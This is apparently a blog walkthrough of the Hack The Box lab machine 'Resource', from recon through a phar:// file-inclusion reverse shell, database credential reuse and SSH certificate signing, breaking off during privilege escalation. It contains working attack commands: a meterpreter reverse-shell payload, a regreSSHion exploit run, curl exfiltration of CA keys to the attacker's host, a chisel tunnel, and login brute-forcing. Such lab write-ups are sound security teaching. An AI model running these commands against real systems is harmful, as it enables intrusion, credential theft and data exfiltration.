Resource
2024-08-05
INTRODUCTION
Resource was released as first box of HTB’s Season 6, Heist. The box was created by the famous user, 0xdf
- and it doesn’t disappoint! This box establishes a whole fictional company and a narrative of the scenario, to a degree that is rare among HTB boxes. We find ourselves attacking an IT service company that is going through a period of their certificate and key management. The box is full of rabbit-holes and distractions, making it slightly frustrating but definitely a more realistic simulation than many other HTB boxes. Although the steps in Resource tend to be short, they are numerous: by my count, I had to do five pivots between separate users to complete this box.
Aside from the distractions, recon is pretty easy on Resource. After finding the subdomain to attack, some simple directory/file enumeration will give you a rough map of the web app. A little exploration of the web app uncovers an unconventional file upload vulnerability involving deserialization. Exploitation of this vulnerability leads straight to a foothold.
Achieving the user flag requires a little bit of enumeration skill. The details we need to find won’t be found by many of the popular auto-enumeration tools, and may require a bit of homebrew scripting. While it’s technically unnecessary, accessing the database while seeking the user flag will add a lot of narrative context to the box, ultimately making the sprint for the root flag much more sensible.
Privilege escalation to the root flag was, at least in my opinion, a lot of fun. Very little enumeration is required, but a thorough understanding of the IT context will vastly improve planning efforts for privilege escalation. Here, we need to utilize a flawed system for signing SSH keys (from an internal/trusted CA certificate), but without actually having access to that CA cert - get ready to be a little creative!
Thanks 0xdf
, this box was a lot of fun! I hope the stability issues on this box get fixed, because that was the only downside.
✏️ Edit: When I went to publish this walkthrough, I noticed that the rating had been changed to Hard. It was originally Medium.
RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2222/tcp open EtherNetIP-1
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 d5:4f:62:39:7b:d2:22:f0:a8:8a:d9:90:35:60:56:88 (ECDSA)
|_ 256 fb:67:b0:60:52:f2:12:7e:6c:13:fb:75:f2:bb:1a:ca (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_ 256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
That’s interesting - they’re running two versions of SSH, one older than the other. Also notable is the HTTP redirect to http://itrc.ssg.htb
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No results.
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
☝️ UDP scans take quite a bit longer, so I limit it to only common ports
PORT STATE SERVICE VERSION
68/udp open|filtered tcpwrapped
139/udp open|filtered tcpwrapped
996/udp open|filtered tcpwrapped
1030/udp open|filtered iad1
2223/udp open|filtered tcpwrapped
30718/udp open|filtered tcpwrapped
49200/udp open|filtered unknown
Note that any
open|filtered
ports are either open or (much more likely) filtered.
Vulnerability Research
Since all we can see are two open ports running two different versions of OpenSSH, it’s worth checking if the foothold lies in one of them. Normally I don’t investigate ways to attack SSH itself, but since there conspiculously two versions, it might yield a result this time.
As per the version shown in the script scan, I searched for “openssh 8.9p1 ubuntu 3ubuntu0.10 vulnerabilities” and immediately realized that this version of OpenSSH has a (fairly) famous vulnerability called RegreSSHion. More details can be found in this article from Qualys. It affects OpenSSH 8.5p1+.
“regreSSHion, CVE-2024-6387, is an unauthenticated remote code execution in OpenSSH’s server (sshd) that grants full root access. It affects the default configuration and does not require user interaction. It poses a significant exploit risk.”
Wow, that’s nuts! As expected, there are plenty of PoCs available. This one by l0n3m4n looks to be of particularly high quality, so I’ll try it out.
git clone https://github.com/l0n3m4n/CVE-2024-6387.git
cd CVE-2024-6387
# Generate some shellcode for a reverse shell, in C format
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=53 -f c
# Prepare to catch a reverse shell
sudo ufw allow from $RADDR to any port 53 proto tcp
bash
socat -d TCP-LISTEN:53 STDOUT
Now we need to insert the shellcode into 7etsuo-regreSSHion.c
and compile it into exploit.so
:
gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
As indicated in the python script, we need to uncomment a few lines at the beginning:
Now we’re good to go - run the exploit:
python3 CVE-2024-6387.py --exploit $RADDR --port 2222
If I understand correctly, this exploit utilizes a race condition with the timeout event of the authentication process, so it’s probably going to take a loooong time to run. I’ll leave it running for a bit, while I investigate other things.
Webserver Strategy
Noting the redirect from the nmap scan, I added itrc.ssg.htb
to /etc/hosts and did banner grabbing on that domain:
DOMAIN=itrc.ssg.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR
Nothing too strange there. The PHP version seems to be a few months old, but nothing crazy.
Next I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No result. Now I’ll check for other subdomains of ssg.htb
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.ssg.htb" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
Still nothing… I’ll check for other subdomains of itrc.ssg.htb
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.itrc.ssg.htb" -c -t 60 -o fuzzing/vhost-itrc.ssg.md -of md -timeout 4 -ic -ac -v
Nope - nothing from that either. I’ll move on to directory enumeration on http://itrc.ssg.htb:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e .php,.js,.html,.txt -timeout 4
Directory enumeration against http://itrc.ssg.htb gave the following:
Unsurprisingly, these pages match up with the querystring inside the URI of all locations in the web app, for example, this one loads dashboard.php
:
Could there be an LFI here? Not sure yet, but let’s try the other pages. Most of the pages are available through regular navigation around the site. Some are clearly code-only PHP documents with no frontend. One notable exception to both of these is admin.php
:
Exploring the Website
Login as admin
I’ll try some quick credential-guessing at the login page, just to make sure I’m not overlooking something really obvious:
ffuf -u http://itrc.ssg.htb/api/login.php -r -t 16 -c -v \
-w "/usr/share/seclists/Usernames/top-usernames-shortlist.txt:USER" \
-w "/usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt:PASS" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'user=USER&pass=PASS' \
-fr 'Login'
No result from that.
From the admin.php
page, we see something saying to “Contact zzinter for manual provisioning” - perhaps that’s a username?
ffuf -u http://itrc.ssg.htb/api/login.php -r -t 16 -c -v \
-w "/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt:PASS" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'user=zzinter&pass=PASS' \
-fr 'Login'
Ticket ID - IDOR
From the image above, we can see that the Ticket ID is plainly visible. Unfortunately, we can’t easily utilize this as an IDOR - attempting to load tickets (such as using the URL http://itrc.ssg.htb/?page=ticket&id=3
) result in a toast “Unable to retieve ticket”:
FOOTHOLD
Ticket Submission
File Upload
As shown in the previous image, I took some time to play around with defining a new ticket. The form is simple, but there might be a few interesting options:
There are three inputs available to us here: the subject, the issue, and the attachment. Indirectly, we can also affect the Ticket ID. I’ll make a bogus zip file that contains a PHP webshell, just for sake of testing:
mkdir test
cp ~/Tools/STAGING/webshell.php ./test/test.php
zip -r test.zip test
Uploading this zip and viewing the ticket again, we see a link to the uploaded zip:
🤔 The format of that filename looks familiar. It’s not in UUID format, as we might expect it to be. Is it a hash?
for algo in 1 224 256 384 512 512224 512256; do echo -e "\nTesting SHA-$algo"; shasum -a $algo test.zip; done
Suspicion confirmed - it is a SHA-1 hash!
Why does that matter? Well, aside from mechanisms like allow-listing various file extensions or MIME types, renaming an uploaded file is a pretty good way to thwart file upload attacks. Next, I’ll investigate what other protections are in place.
Checking upload restrictions
Let’s check what happens when submitting alternative file extensions. We already know .zip
works. I’ll start with this wordlist of PHP extensions, and attach it to a zip extension in a few ways.
#!/bin/bash
OUTFILE=php_zip_extensions.lst
PHP_EXTENSIONS=extensions.lst
EXT='.zip'
echo "$EXT" >> $OUTFILE;
while read -r PHP; do
echo "$PHP" >> $OUTFILE;
echo "$EXT$PHP" >> $OUTFILE;
echo "$PHP$EXT" >> $OUTFILE;
for CHAR in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
echo "$PHP$CHAR$EXT" >> $OUTFILE;
done;
done < $PHP_EXTENSIONS;
cat $OUTFILE | sort -u > "$OUTFILE.tmp"
mv "$OUTFILE.tmp" $OUTFILE
echo "Wrote wordlist to: $OUTFILE"
I ran that, then used the resulting wordlist with ffuf:
WLIST=php_zip_extensions.lst
ffuf -w $WLIST -request comment_file_upload.raw -c -t 60 -timeout 4 -ic -fs 0
Plenty of file extensions worked properly. Specifically, all of the ones that ended with .zip
worked:
The results were visible on the Comments section of the test Ticket that I created. Unfortunately though, the filename always ends with .zip, regardless of what extension the file was created with:
This means that a malicious file upload will not be possible.
File Inclusion
We already saw from earlier that it is possible to use a URI like http://itrc.ssg.htb/?page=PAGENAME
to load a certain PHP file from the server. Sometimes, servers written to load pages in this way can be tricked into loading other resources.
Local File Inclusion
To check for an LFI, I’ll specifically search for /etc/passwd
. I’ll check a variety of path traversals by using one of my own tools, Alfie.
The intended workflow is to use
filter
mode, thenscan
mode, thenenumerate
mode. Each mode leads into the next one.
# Try to find sensible filters to apply
python3 alfie.py -u 'http://itrc.ssg.htb/?page=' -b "PHPSESSID=81043be7d4a8631317e539931112cb6b" filter
# Try scanning for different ways that /etc/passwd can be accessed
python3 alfie.py -u 'http://itrc.ssg.htb/?page=' -b "PHPSESSID=81043be7d4a8631317e539931112cb6b" -fs '3956-3997' -fw '191' scan
No result - This means that Alfie wasn’t able to access /etc/passwd
using any known traversal.
I also tried accessing the known PHP files using filters, as this can be useful for obtaining the source code. However, none of these tests were successful:
- http://itrc.ssg.htb/?page=php://filter/read=convert.base64-encode/resource=dashboard
- http://itrc.ssg.htb/?page=php://filter/read=convert.base64-encode/resource=dashboard.php
- http://itrc.ssg.htb/?page=php://filter/read=convert.base64-encode/resource=./dashboard.php
- http://itrc.ssg.htb/?page=php://filter/read=convert.base64-encode/resource=file:///etc/passwd
PHP Wrappers
The php://fd
wrapper can be useful. If you get really lucky, it can divulge environment variables. I checked for it using a simple ZAP Fuzz to check for all file descriptors between 0 and 999:
No luck with php://fd
.
Two wrappers that are useful for gaining RCE are expect://
and php://input
. While it didn’t actually lead to RCE, the expect://
wrapper was actually useful - by causing an error, it disclosed what the webserver root directory is and that the funciton file_exists()
is being used!
What about php://input
? It’s used by passing PHP code into the body of the request:
curl -X POST -b 'PHPSESSID=81043be7d4a8631317e539931112cb6b' --data "<?php phpinfo(); ?>" 'http://itrc.ssg.htb/?page=php://input'
Nope, no result from that either (all of these negative results just lead to the default dashboard
page).
Stream Wrappers
Since we know that PHP is attempting to call the file_exists()
function, using the page
URL parameter as an argument, we might be able to trick it into loading other resources. As far as I know, the streams that PHP can use are: http://
, ftp://
, file://
, php://
and phar://
.
I’ll start with HTTP, and try to get the target to load a resource from a webserver running on my attacker machine:
👇 I’m using one of my own tools, kind of a drop-in replacement for Python
http.server
. Check it out here, if you want.
sudo ufw allow from $RADDR to any port 8000 proto tcp
simple-server 8000
COOKIE='PHPSESSID=81043be7d4a8631317e539931112cb6b'
curl -b $COOKIE 'http://itrc.ssg.htb/?page=http://10.10.14.50:8000/index.html'
No request came into my server. Perhaps they’re doing something to deny remote http streams.
Let’s try FTP as well:
sudo ufw allow from $RADDR to any port 20,21 proto tcp
sudo responder -I tun0 &
COOKIE='PHPSESSID=81043be7d4a8631317e539931112cb6b'
curl -b $COOKIE 'http://itrc.ssg.htb/?page=ftp://10.10.14.50/nonexistentfile'
The target actually contacted me using FTP:
Very cool! Perhaps I can serve it a PHP file, and try to leverage this as a Remote File Inclusion to gain RCE? 🚩
pip3 install pyftpdlib
cd www
echo '<?php phpinfo(); ?>' > test.php
python3 -m pyftpdlib -p 21
With that file hosted, I’ll try loading it through the target webserver:
COOKIE='PHPSESSID=81043be7d4a8631317e539931112cb6b'
curl -b $COOKIE 'http://itrc.ssg.htb/?page=ftp://10.10.14.50/test.php'
Ok, good to know - it’s automatically appending a .php
onto the end of the file. Let’s try that again, but without a file extension:
curl -b $COOKIE 'http://itrc.ssg.htb/?page=ftp://10.10.14.50/test'
Well duh, of course it’s not a directory! But why is it attempting the CWD
command instead of just a GET
? 🤔
After a little bit of trying to make FTP work, I ultimately could not seem to get it to open a file. I may revisit this technique if I run out of other ideas 🚩
The next stream wrapper to check is file://. It’s pretty self-explanatory - we can use it to access a file on the local filesystem.
WLIST=/usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt
ffuf -w $WLIST -u 'http://itrc.ssg.htb/?page=file:///var/www/itrc/FUZZ' \
-b "PHPSESSID=81043be7d4a8631317e539931112cb6b" -c -t 60 -timeout 4 -ic -fs 3762
Unfortunately, these two results just yield a blank page. Even when checking the page source (Ctrl+u
) wll we see is the typical page header and footer with no body. This makes a bit of sense though, because the code to include the resource is probably only only seeking PHP (and automatically adding a .php extension onto it, too).
The file:// wrapper didnt’ work out, and we’ve already checked the php:// wrapper to some extent, so the next one to investigate is phar://. The PHAR format is a PHP archive, and contains serialized PHP code - very similar to how a jar
file works in Java, or a pickle
in Python.
Another advantage is that using a phar://
stream makes the application ignore the file extension. Using it, we can access data directly inside a zip file, too.
revshell.php
is just the “PHP Pentestmonkey” reverse shell, taken from https://www.revshells.com/
zip revshell.zip revshell.php
shasum -a 1 revshell.zip # Just take note of the hash
sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
nc -lvnp 4444
I found this article to be very helpful in describing the overall process. Many articles you read about
phar deserialization attacks
are overly complicated for this context. We’re actually doing something really simple.For more advanced attacks, check out phpggc. This is especially true if you’re attacking a PHP-based CMS.
Now we can access the contents of that file using the phar stream wrapper. Remember that the target is appending php
to the end of the path, so we can access our revshell by “peeking” inside the zip using the phar stream wrapper:
http://itrc.ssg.htb/?page=phar://uploads/e342771bb1b1aaa9d47cac1cff8bf00f73d07dbd.zip/revshell
Excellent - we now have a reverse shell.
🙃 Efforts to upgrade the shell were unsuccessful… Not sure why.
We can at least get
bash
by usingperl
:perl -e 'exec "/bin/bash"'
USER FLAG
Local Enumeration - www-data
It seems that there are three users to consider:
msainristil:x:1000:1000::/home/msainristil:/bin/bash
root:x:0:0:root:/root:/bin/bash
zzinter:x:1001:1001::/home/zzinter:/bin/bash
I think the best place to start enumeration is by checking out the home directory of the user that was exploited to gain a foothold - almost always the webserver root. In this case, it’s /var/www/
.
Oddly enough, I found a .bash_history
file (which in HTB is usually redirected into /dev/null
). This time, however, it seemed to contain some juicy hints. It’s unclear whether or not this is part of the box, or an artifact of another HTB player:
whoami
ls -la /var/www/itrc/uploads/c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
whoami
ls -la /var/www/itrc/uploads/c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
whoami
ls -la /var/www/itrc/uploads/c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
python3 --version
python --version
ls -la
cat db.php
cd /tmp
ls -la
vim shell.php
cd /tmp
wget http://10.10.16.7/shell.php
ls -la
ls
rm shell.php
ls -la
rm .shell.php.swp
ls -la
id
uname -a
ls /home
cd /var/www/itrc
ls -la
ls -la uploads
for zipfile in uploads/*.zip; do zipgrep "msainristil" "$zipfile"; done
That last line is very interesting. Personally, I usually do this task slightly differently - I check for all the users all at once:
GREP_PROG=$(which zgrep || which grep)
for usr in `cat /etc/passwd | grep -v nologin | grep -v /bin/false | grep -vE '^sync:' | cut -d ':' -f 1`; do \
echo "---------------"; \
echo "Searching for user: $usr"; \
find . -maxdepth 2 -type f ! -path '/proc/*' ! -path '/dev/*' -exec $GREP_PROG -H $usr {} \; 2>/dev/null; \
done
Regardless of which way you grep
the zip files, there is a plaintext credential sitting inside one of them; inside /var/www/uploads/c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
we find the credentials msainristil : 82yards2closeit
Before I do anything else, I’ll check if these credentials are valid for either SSH connection:
# For each of these, use the password "82yards2closeit"
ssh -p 2222 msainristil@$RADDR
# Nope...
ssh msainristil@$RADDR
# Yep!
👏 Awesome! Now we have a nice, stable SSH connection with no need to re-exploit the webserver.
Before I forget though, let’s finish looking through /var/www
as www-data
…
As expected,
db.php
contains some database credentials:<?php $dsn = "mysql:host=db;dbname=resourcecenter;"; $dbusername = "jj"; $dbpassword = "ugEG5rR5SG8uPd"; $pdo = new PDO($dsn, $dbusername, $dbpassword); try { $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (PDOException $e) { die("Connection failed: " . $e->getMessage()); }
Aha, look at that hostname: “db”. We’re probably inside a docker container, with a name like that.
The contents of
admin.php
also show some interesting stuff. Here is the portion that interacts with the API:<script> const pingButton = document.getElementById("button-ping"); const provisionButton = document.getElementById("button-provision-user"); pingButton.addEventListener("click", () => { const host = document.getElementById("hostUp").value; var xhr = new XMLHttpRequest(); xhr.responseType = "json"; xhr.open("POST", "/api/admin.php", true); xhr.setRequestHeader('Content-Type', 'application/json'); xhr.send(JSON.stringify({mode: "ping", host: host})); xhr.onload = function() { if (xhr.response["success"]) { if (xhr.response["up"]) { showFlash("Host is up"); } else { showFlash("Host is down"); } } else { showFlash("Error pinging host"); } } }); provisionButton.addEventListener("click", () => { const user = document.getElementById("provisionUser").value; var xhr = new XMLHttpRequest(); xhr.responseType = "json"; xhr.open("POST", "/api/admin.php", true); xhr.setRequestHeader('Content-Type', 'application/json'); xhr.send(JSON.stringify({mode: "userprov", user: user})); xhr.onload = function() { if (xhr.response["success"]) { showFlash("Ticket created for Active Directory team"); } else { showFlash("Error creating ticket"); } } }); </script>
Here is the portion of the API that connects to
admin.php
. While the “provision user” endpoint is actually fake, the “ping” one may have actually been exploitable (if I knew any way to bypass theFILTER_VALIDATE_DOMAIN
part, that is):<?php session_start(); $_POST = json_decode(file_get_contents('php://input'), true); if (isset($_POST['mode'])) { if ($_POST['mode'] === "ping") { if (isset($_POST["host"]) and (filter_var($_POST["host"], FILTER_VALIDATE_IP) or filter_var($_POST["host"], FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME))) { exec("timeout 1 ping -c 1 " . $_POST["host"], $output, $result); if ($result == 0) { echo json_encode(array("success" => true, "up" => true)); } else { echo json_encode(array("success" => true, "up" => false, "debug" => $_POST["host"])); } die(); } else { echo json_encode(array("success" => false, "error" => "Invalid host")); die(); } } elseif ($_POST['mode'] === "userprov") { // do some stuff to create ticket echo json_encode(array("success" => true)); } } http_response_code(500);
Besides those files, it was just a pretty typical web application.
Local Enumeration - msainristil
MySQL
Although I could have done this as www-data, I should really check out that MySQL database that we found credentials for in
db.php
. I’ll use chisel to set up a SOCKS proxy, then connect to the database from my attacker machine.# From the attacker machine, run chisel server: sudo ufw allow from $RADDR to any port 9999 /home/kali/Tools/STAGING/chisel server --port 9999 --reverse & # Then from the target machine, connect back using chisel client: ./chisel client $LADDR:9999 R:1080:socks &
To test that it worked, I’ll do a round-trip test (attacker -> target -> attacker) to get the index page from my local python webserver hosting (the server I’m using to host my toolbox, which contains chisel):
proxychains curl http://10.10.14.2:8000
👍 It loads fine, so let’s now connect to that database:
proxychains mysql -h 'db' -D 'resourcecenter' -u 'jj' -pugEG5rR5SG8uPd
Users Table
The
users
table is always a solid choice; let’s read it first:I copy-pasted the rows into a text file on my attacker machine (
users_table.txt
) then transformed it into an appropriate format for reading withjohn
orhashcat
:cat users_table.txt | awk '{print $4 ":" $6}' | tee users.hash
Now let’s start cracking, and see what we get. I’m expecting that at least the password for
jimbob
will be found:john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt users.hash
After quite some time, I still only had two (very easy) passwords from this table:
( I eventually also got
hacker
:Password1!
)Since this is HTB, that means that the rest are probably not meant to be crackable. I’ll give up on cracking these for now, and explore the rest of the DB.
Messages Table
The
messages
table shows some really interesting info. No secrets, as far as I can tell, but definitely some hints. It contains a bunch of messages between users on the system.To make things a little more readable, I’ve joined the
users
andmessages
tables, copy-pasted the data to my attacker machine, then made the formatting a little nicer.while read -r LINE; do echo $LINE | cut -d '|' -f 2,3,4 | sed 's/^ *//; s/ *| */|/' | sed 's/|/ \(/' | sed 's/^ *//; s/ *| */|/' | sed 's/|/):\n/'; echo -e " "; done < messages_table.txt
zzinter (2024-02-05 15:32:54): They see the issue. I'm going to have to work with the IT team in corporate to get this resolved. For now, they've given me access to the IT server and a bash script to generate keys. I'll handle all SSH provisioning tickets. msainristil (2024-02-05 15:45:11): It's this kind of stuff that makes me say it was a bad idea to move off the old system. zzinter (2024-02-06 09:12:11): I've sent you the signed key via secure email bmcgregor (2024-02-06 11:25:33): Got it. Thanks. zzinter (2024-02-07 16:21:23): The API from the IT server seems to be working well now. I've got a script that will sign public keys with the appropriate principal to validate it works. I'm still handling these tickets, but hopefully we'll have it resolved soon. msainristil (2024-02-09 16:45:19): The new system is super flakey. I know it won't work across the rest of the company, but I'm going to at least leave the old certificate in place here until we prove we can work on the new one msainristil (2024-02-10 09:12:11): Old certificates have been taken out of /etc. I've got the old signing cert secured. This server will trust both the old and the new for some time until we work out any issues with the new system. zzinter (2024-02-10 11:27:43): Thanks for the update. I'm sure the new system will be fine. Closing this ticket. zzinter (2024-02-10 11:53:42): All testing of the updated API seems good. At IT's request I've deleted my SSH keys for their server. I'll still handle tickets using the script until we get a chance to update the ITRC web admin panel to use it.
Tickets Table
Last but not least, the
tickets
table has references to a couple of files:Naturally, I downloaded both the of the attachments that they referenced in their messages…
cd loot curl http://itrc.ssg.htb/uploads/e8c6575573384aeeab4d093cc99c7e5927614185.zip \ -o pubkey-mgraham-please-sign.zip curl http://itrc.ssg.htb/uploads/eb65074fe37671509f24d1652a44944be61e4360.zip \ -o mcgregor_pub.zip
Filesystem
Upon logging in as msainristil, we immediately see a strange directory called
decommission_old_ca
:
These must be the certificates that they mentioned in all those messages in the messages
table, and what they were using to sign SSH keys (as mentioned in the tickets
table)! Fantastic - let’s exfiltrate these:
# On the attacker machine, use an HTTP server for uploading:
cd loot
simple-server 8000 -v
# On the target machine, bundle then upload the directory:
tar -czvf decommission_old_ca.tar.gz decommission_old_ca
mv decommission_old_ca.tar.gz /tmp/.Tools/
curl -X POST -F 'file=@/tmp/.Tools/decommission_old_ca.tar.gz' http://10.10.14.2:8000
Taking a quick look at these files, I see that they are a collection of OpenSSH private keys and public keys. I asked ChatGPT to summarize the workflow for signing SSH keys with certificates:
1. Certificate Authority (CA) Setup:
- CA Key: An organization sets up a Certificate Authority (CA) by generating a CA private/public key pair.
- CA Public Key Distribution: The CA’s public key is then distributed to all SSH servers within the organization.
2. Signing SSH Keys:
- User SSH Key: A user generates an SSH key pair (private/public key).
- Certificate Signing Request: The user submits their public SSH key to the CA for signing.
- CA Signing: The CA signs the user’s public key, creating an SSH certificate. This certificate includes information like the user’s identity, permitted principals (usernames), and an expiration date.
- Issued Certificate: The signed certificate is returned to the user, who can now use it alongside their SSH key.
3. Using the Signed SSH Key:
- Authentication: When the user attempts to SSH into a server, the server checks the certificate against the CA’s public key (which it already trusts).
- Access Control: If the certificate is valid and the user is allowed access, the SSH connection is established.
It would be a little silly to dive too deep into this without just trying the keys, right? I’ve never heard of nico
, so I’ll just try the root
key right away:
ssh -i ./root root@$RADDR
😮 It worked?!?
Don’t get too excited though - this is, after all, only the root user within the container. It does give us full access to the other user on the box though, zzinter (That’s the user that is supposedly in charge of provisioning SSH keys for people).
… but more importantly, zzinter is the other user within this container that has a home directory. A quick check reveals that they hold the user flag!
Just cat
out the flag for some well-earned points.
cat /home/zzinter/user.txt
ROOT FLAG
Local Enumeration - zzinter
As shown in the previous image, there is a second file in /home/zzinter
: a script called sign_key_api.sh
. In the context of the messages we saw earlier in the database, the script makes perfect sense - it’s used for signing SSH keys so employees can access various servers within the company.
#!/bin/bash
usage () {
echo "Usage: $0 <public_key_file> <username> <principal>"
exit 1
}
if [ "$#" -ne 3 ]; then
usage
fi
public_key_file="$1"
username="$2"
principal_str="$3"
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
public_key=$(cat $public_key_file)
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
However, it doesn’t correlate perfectly with the messages from earlier. Two of the requests for SSH provisioning were:
- from
mgraham
for the HR server - from
mcgregor
for the Marketing server
As we can see from sign_key_api.sh
, neither of those servers are valid principals. Is that intentional? Hard to say
The script also shows a mapping between four principals onto three users:
Principal | User |
---|---|
webserver | webadmin |
analytics | analytics |
support | support |
security | support |
SSH key signing
None of these users are present on the target (which we already know is a docker container). My suspicion is that these might be users either on the docker host, or on whatever host is running SSH on port 2222.
Another useful finding from this script is the presence of a yet-unknown subdomain,
signserv.ssg.htb/v1/sign
. Let’s add this to/etc/hosts
and do some enumeration of the API (perhaps there is an endpoint besides “sign”?)WLIST=/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt ffuf -w $WLIST:FUZZ -X POST -u http://signserv.ssg.htb/v1/FUZZ \ -H "Content-Type: application/json" \ -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" \ -t 60 -c -timeout 4 -v -mc all -fs 22
Nope… no results other than the
/sign
endpoint.
Just to see what the response looks like, I’ll try proxying a request to the /sign
endpoint:
Let’s try making a signed OpenSSH keypair for each of these users:
mkdir keys && cd keys
vim sign_key_api.sh # Copy the script from the target
chmod +x sign_key_api.sh
for USR in webadmin analytics support; do ssh-keygen -t rsa -b 4096 -f $USR -N "birb12345"; done
./sign_key_api.sh analytics.pub "analytics" "analytics" | tee analytics-cert.pub
./sign_key_api.sh webadmin.pub "webadmin" "webserver" | tee webadmin-cert.pub
./sign_key_api.sh support.pub "support" "support,security" | tee support-cert.pub
Now let’s try logging in with these users. We supply the *-cert.pub
file along with the private key when attempting a login.
As an example, this is how you’d supply the signed key for the
analytics
user:ssh -p 2222 -i analytics -i analytics-cert.pub analytics@$RADDR
Nope.
Nope.
Yep! 😁 We now have access to another host. Given the hostname, ssg
, this is probably the docker host (itrc.ssg.htb)!
Local Enumeration - support
I was curious to see if this host was running the webserver for signserv.ssg.htb
, so I checked netstat
:
I already knew from earlier that signserv.ssg.htb
was running nginx
, so I immediately checked /etc/nginx/sites-enabled
. We can see a setup that establishes a webserver for signserv.ssg.htb
and a reverse proxy for itrc.ssg.htb
:
From /etc/passwd
we see there are three users to care about on this host:
root:x:0:0:root:/root:/bin/bash
support:x:1000:1000:support:/home/support:/bin/bash
zzinter:x:1001:1001::/home/zzinter:/bin/bash
From the messages we saw earlier we knew that zzinter
had access to the broader corporate IT systems at some point, but that they had since deleted their SSH keys. It’s interesting that they still have an account on the system even though their SSH access was revoked.
Under /opt
we see further evidence of zzinter
on this host:
Let’s take a peek through the filesystem, and see if there’s anything mentioning zzinter
or support
. Normally, I’d just do this with some bash
scripting, like this:
GREP_PROG=$(which zgrep || which grep)
for usr in `cat /etc/passwd | grep -v nologin | grep -v /bin/false | grep -vE '^sync:' | grep -v root | cut -d ':' -f 1`; do \
echo "---------------"; \
echo "Searching for user: $usr"; \
find . -maxdepth 3 -type f ! -path '/proc/*' ! -path '/dev/*' -exec $GREP_PROG -H $usr {} \; 2>/dev/null; \
done
However, the name support
yields far too many results to read through. I’ll do a search like this, but only for zzinter
instead:
GREP_PROG=$(which zgrep || which grep)
USR=zzinter;
echo -e "\nFinding files with $USR in their name...";
find . -iname "*$USR*" 2>/dev/null;
echo -e "\nSearching through all files for mentions of $USR...";
find . -maxdepth 2 -type f ! -path '/proc/*' ! -path '/dev/*' -exec $GREP_PROG -H $USR {} \; 2>/dev/null;
The home
directory is obvious, but what’s this `/etc/ssh/auth_principals/zzinter file?
